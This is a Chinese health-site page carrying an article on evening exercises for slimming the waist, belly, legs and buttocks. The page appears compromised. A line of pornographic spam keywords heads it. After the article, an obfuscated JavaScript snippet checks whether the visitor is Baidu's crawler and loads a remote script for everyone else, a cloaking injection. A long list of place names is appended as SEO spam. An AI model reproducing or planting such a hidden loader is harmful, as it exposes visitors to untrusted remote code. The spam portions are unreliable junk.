亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

夜晚10點(diǎn)運(yùn)動(dòng)減肥怎么做?

2017-04-14 19:28:06  來源:360常識網(wǎng)   熱度:
導(dǎo)語:減肥瘦身是很多美眉終生追求的目標(biāo),其實(shí)減肥方法還是很多的,除了平時(shí)要注意少吃或不吃過于油膩的食物外,還需要適當(dāng)?shù)倪\(yùn)動(dòng)鍛煉,這樣才能

減肥瘦身是很多美眉終生追求的目標(biāo),其實(shí)減肥方法還是很多的,除了平時(shí)要注意少吃或不吃過于油膩的食物外,還需要適當(dāng)?shù)倪\(yùn)動(dòng)鍛煉,這樣才能達(dá)到更好的減肥效果,其實(shí)運(yùn)動(dòng)不僅僅是可以白天進(jìn)行,晚上也是可以抽出時(shí)間來運(yùn)動(dòng)瘦身的,那么夜晚10點(diǎn)運(yùn)動(dòng)減肥怎么做?

1、睡前運(yùn)動(dòng)瘦腰

仰臥床上,雙手抓著頭上方的床沿,臀部以下向左轉(zhuǎn)動(dòng)到最大極限。稍微停留幾秒,然后恢復(fù)正常。身體再向右側(cè)轉(zhuǎn)動(dòng)到最大極限。左右各練習(xí)15-20次。練習(xí)的時(shí)候上半身保持不動(dòng)。

效果:減少腰側(cè)的贅肉和脂肪。

2、睡前運(yùn)動(dòng)瘦腹

仰臥,雙臂伸直放在身體兩側(cè)。左腿屈膝抬起,吸氣,雙手抱緊左腿膝關(guān)節(jié)向胸部靠,抬起上半身,眼睛看著左邊。呼氣,還原動(dòng)作。換右腿重復(fù)練習(xí)。每側(cè)腿練習(xí)20次。然后雙腿屈膝練習(xí)10次。

效果:減少腰部贅肉,增強(qiáng)腹部肌肉。

3、睡前運(yùn)動(dòng)瘦腿

仰臥,雙腿向上舉起,交替用力做蹬車的動(dòng)作。保持自然呼吸,練習(xí)的時(shí)候最好繃直腳面,左右腿各重復(fù)練習(xí)100次。這個(gè)動(dòng)作熟練后,可以加強(qiáng)難度,雙手托著腰部以下的部位,讓整個(gè)下半身懸空,然后做蹬車的動(dòng)作。

效果:減少腿部的贅肉,緊實(shí)大腿。

睡前運(yùn)動(dòng)提臀

仰臥,屈膝,雙膝并攏,雙腳稍微分開與臀同寬。兩臂伸直,掌心向下,放在身體兩側(cè)。吸氣,提起臀部和腰部,用雙腿和肩膀支撐地面。呼氣,慢慢將臀部和腰部放下,重復(fù)練習(xí)20以上。

效果:減少臀部贅肉,提升臀部線條,增強(qiáng)臀部力量。

上文中對夜晚10點(diǎn)運(yùn)動(dòng)減肥怎做也都很清楚了,很多的運(yùn)動(dòng)方式對美眉們的幫助都是很大的,只要能夠把握住最佳的運(yùn)動(dòng)時(shí)間段,采用合理的運(yùn)動(dòng)方式,就能起到不錯(cuò)的效果,當(dāng)然了要想擁有苗條的身材,作息也要有規(guī)律才可以。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
武邑县| 东乡县| 江川县| 邯郸县| 安龙县| 左云县| 南投县| 共和县| 北安市| 同江市| 肃南| 大冶市| 佛教| 阆中市| 庆安县| 万宁市| 达尔| 垦利县| 麦盖提县| 进贤县| 湘潭县| 乾安县| 淄博市| 济源市| 黄石市| 虞城县| 竹山县| 佳木斯市| 黄浦区| 二连浩特市| 旬阳县| 日喀则市| 内丘县| 横山县| 腾冲县| 汤阴县| 肇州县| 雷州市| 闵行区| 绥阳县| 武宁县|